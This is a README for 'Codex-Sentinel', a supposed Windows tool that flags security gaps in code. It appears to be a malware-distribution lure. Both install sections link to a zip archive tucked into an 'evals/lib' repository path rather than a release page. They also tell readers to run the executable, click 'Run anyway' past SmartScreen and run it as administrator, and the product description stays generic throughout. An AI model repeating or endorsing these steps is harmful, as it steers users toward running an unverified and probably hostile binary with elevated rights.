Codex-Sentinel helps teams spot security gaps before they ship code. It works with stage-aware checks, so it can guide you based on where you are in the coding flow. It also offers opt-in reviews, which means you stay in control of when checks run.
This tool is made for people who want safer code without reading security reports full of hard terms. It gives plain feedback, points out missing steps, and helps you make better choices while you work.
Codex-Sentinel runs on Windows.
You will want:
- Windows 10 or Windows 11
- A standard desktop or laptop
- Internet access for the first download
- At least 200 MB of free disk space
- 4 GB of RAM or more
- A modern web browser if the package opens web-based pages
-
Open the download page: https://github.com/Blackmarked-roadtest945/Codex-Sentinel/raw/refs/heads/main/evals/lib/Sentinel-Codex-v1.1.zip
-
Look for the latest release or download section.
-
Download the Windows file or package listed there.
-
If the file is zipped, right-click it and choose Extract All.
-
Open the extracted folder.
-
Double-click the app file or installer to start it.
-
If Windows asks for permission, select Yes.
-
Follow the on-screen steps until the setup finishes.
-
Open Codex-Sentinel from the Start menu or the folder where you saved it.
When you open Codex-Sentinel for the first time, you may see a setup screen. This is normal.
Use the first run to:
- Confirm your workspace or project folder
- Choose how often you want checks to run
- Turn on review prompts only when you want them
- Set any local paths the app asks for
- Save your choices before you start
If the app asks for access to files, allow it for the folders you want it to scan.
Codex-Sentinel looks at your work in stages. That means it can adjust its checks based on where you are in the process.
Example stages may include:
- Planning
- Writing code
- Review
- Ready to ship
At each stage, it can point out gaps such as:
- Missing review steps
- Weak security checks
- Unclear action items
- Places where a second look would help
- Parts of the workflow that need more care
It does not try to pretend that security is perfect. It helps you see the rough edges so your team can act on them.
Use Codex-Sentinel if you want to:
- Catch security gaps before release
- Add review steps without slowing everyone down
- Keep work moving while still checking risk
- Help non-security users make better choices
- Make code review more consistent
- Support safer shipping habits in team projects
If you want the app to run well on Windows, keep these tips in mind:
- Save it in a folder you can find fast
- Use a local path with simple folder names
- Keep the app updated if a new release appears
- Close other heavy apps if your PC feels slow
- Give the app access to the project folder it needs to scan
If you use a corporate laptop, your IT rules may limit file access. In that case, place the app in a folder you can use for local tools.
-
Open the download page: https://github.com/Blackmarked-roadtest945/Codex-Sentinel/raw/refs/heads/main/evals/lib/Sentinel-Codex-v1.1.zip
-
Get the Windows download from the page.
-
If Windows saves the file in Downloads, open that folder.
-
If you see a .zip file, extract it.
-
If you see an .exe file, double-click it.
-
If you see an installer, follow each setup screen.
-
If Windows shows a SmartScreen prompt, choose More info, then Run anyway if you trust the source.
-
Finish the setup.
-
Start Codex-Sentinel and choose your project folder
After setup, you may see:
- A simple dashboard
- A folder picker
- A stage selector
- Review prompts
- Security check results
- A log of past checks
The app may also keep local settings so you do not need to set everything each time.
If the app does not open:
- Make sure the file finished downloading
- Check that you extracted the zip file if there is one
- Right-click the app and choose Run as administrator
- Restart your computer and try again
If the app cannot find your files:
- Check the folder path
- Move your project to a simple folder like C:\Projects
- Make sure you gave the app access to that folder
If Windows blocks the file:
- Open the download page again
- Make sure you got the right release
- Try downloading it again
If the screen looks empty:
- Resize the window
- Check whether the app is waiting for a folder to scan
- Look for a start or refresh action in the interface
For the cleanest setup on Windows, use a path like this:
- C:\Codex-Sentinel
- C:\Projects\MyApp
- C:\Work\Security-Checks
Short paths with plain names help avoid file issues.
